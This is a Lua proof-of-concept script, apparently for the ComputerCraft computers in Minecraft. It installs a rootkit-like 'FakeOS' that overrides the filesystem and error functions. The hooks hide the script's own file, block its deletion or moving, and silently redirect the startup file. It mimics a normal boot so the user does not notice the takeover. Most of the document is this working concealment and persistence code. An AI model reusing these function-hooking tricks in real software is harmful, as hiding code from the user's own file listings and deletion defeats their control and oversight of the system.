Proof of concept: FakeOS

-- #### Vars

local userStartupPath = "userStartup"
local osName = "fakeOS"
local hiddenPrograms = {osName}
local fake = {}
local real = {}

-- #### "Local" functions

local function getAnEmptyPath()
    while true do
        local dir = tostring(math.random(1, 65535))
        if real.exists(dir) == false then
            return dir
        end
    end
end

local function shouldBeHidden(path)
    for i=1, #hiddenPrograms do
        if string.lower(path) == string.lower(hiddenPrograms[i]) then
            return true
        end
    end
    return false
end

local function writeYellow(text)
    if term.isColor() then
        term.setTextColor(colors.yellow)
        term.write(text)
        term.setTextColor(colors.white)
    else
        term.write(text)
    end
end
term.writeYellow = writeYellow

local function splitIntoArgs(str)
    i=0
    arg = {}
    -- %S  -> A character that isn't a space
    -- +   -> Or more than one
    -- %S+ -> Any group of character not separated by a space
    -- string.gmatch(str, "%S+") : Splits the string when a space is encountered
    for w in string.gmatch(str, "%S+") do
        i=i+1
        arg[i]=w
    end
    if type(arg) == "table" then
        if #arg > 0 then
            return arg
        end
    end
    return false
end

-- #### Tweaking compromising functions

real.error = _G.printError
function fakeError(text)
    if type(string.find(text, "fakeOS:")) == "number" then
        return false
    else
        real.error(text)
    end
end
_G.printError = fakeError

real.find = fs.find
local function fakeFind(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end
    if shouldBeHidden(path) == true then
        return nil
    end

    list = real.find(path)
    for i=1,#list do
        for j=1, #hiddenPrograms do
            if type(list[i]) == "string" then
                if string.lower(list[i]) == string.lower(hiddenPrograms[j]) then
                    table.remove(list, i)
                end
            end
        end
    end
    for i=1,#list do
        if list[i] == userStartupPath then
            list[i] = "startup"
        end
    end
    return list
end
fs.find = fakeFind

real.list = fs.list
local function fakeList(path)
    list = real.list(path)
    for i=1,#list do
        for j=1, #hiddenPrograms do
            if type(list[i]) == "string" then
                if string.lower(list[i]) == string.lower(hiddenPrograms[j]) then
                    table.remove(list, i)
                end
            end
        end
    end
    for i=1,#list do
        if list[i] == "startup" then
            table.remove(list, i)
        end
    end
    for i=1,#list do
        if list[i] == userStartupPath then
            list[i] = "startup"
        end
    end
    return list
end
fs.list = fakeList

real.exists = fs.exists
local function fakeExists(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end
    if shouldBeHidden(path) == true then
        return nil
    end

    return real.exists(path)
end
fs.exists = fakeExists

real.ioOpen = io.open
local function fakeIoOpen(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end
    if shouldBeHidden(path) == true then
        return nil
    end

    return real.ioOpen(path)
end
io.open = fakeIoOpen

real.makeDir = fs.makeDir
local function fakeMakeDir(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end
    if shouldBeHidden(path) == true then
        return nil
    end

    return real.makeDir(path)
end
fs.makeDir = fakeMakeDir

real.delete = fs.delete
local function fakeDelete(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end
    if shouldBeHidden(path) == true then
        return nil
    end

    return real.delete(path)
end
fs.delete = fakeDelete

real.open = fs.open
local function fakeOpen(path, mode)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end
    if shouldBeHidden(path) == true then
        return nil
    end

    return real.open(path, mode)
end
fs.open = fakeOpen

real.isReadOnly = fs.isReadOnly
local function fakeIsReadOnly(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end
    if shouldBeHidden(path) == true then
        return nil
    end

    return real.isReadOnly(path)
end
fs.isReadOnly = fakeIsReadOnly

real.getSize = fs.getSize
local function fakeGetSize(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end
    if shouldBeHidden(path) == true then
        return nil
    end

    return real.getSize(path)
end
fs.getSize = fakeGetSize

real.move = fs.move
local function fakeMove(fromPath, toPath)
    if shouldBeHidden(fromPath) == true or shouldBeHidden(toPath) == true then
        return nil
    end
    if string.lower(fromPath) == "startup" then
        fromPath = userStartupPath
    end
    if string.lower(toPath) == "startup" then
        toPath = userStartupPath
    end

    return real.move(fromPath, toPath)
end
fs.move = fakeMove

real.copy = fs.copy
local function fakeCopy(fromPath, toPath)
    if shouldBeHidden(fromPath) == true or shouldBeHidden(toPath) == true then
        return nil
    end
    if string.lower(fromPath) == "startup" then
        fromPath = userStartupPath
    end
    if string.lower(toPath) == "startup" then
        toPath = userStartupPath
    end

    return real.copy(fromPath, toPath)
end
fs.copy = fakeCopy

-- #### Actual FakeOS

term.clear()
term.setCursorPos(1,1)
term.writeYellow(os.version())
term.setCursorPos(1,2)

if real.exists("userStartup") then
    shell.run("userStartup")
end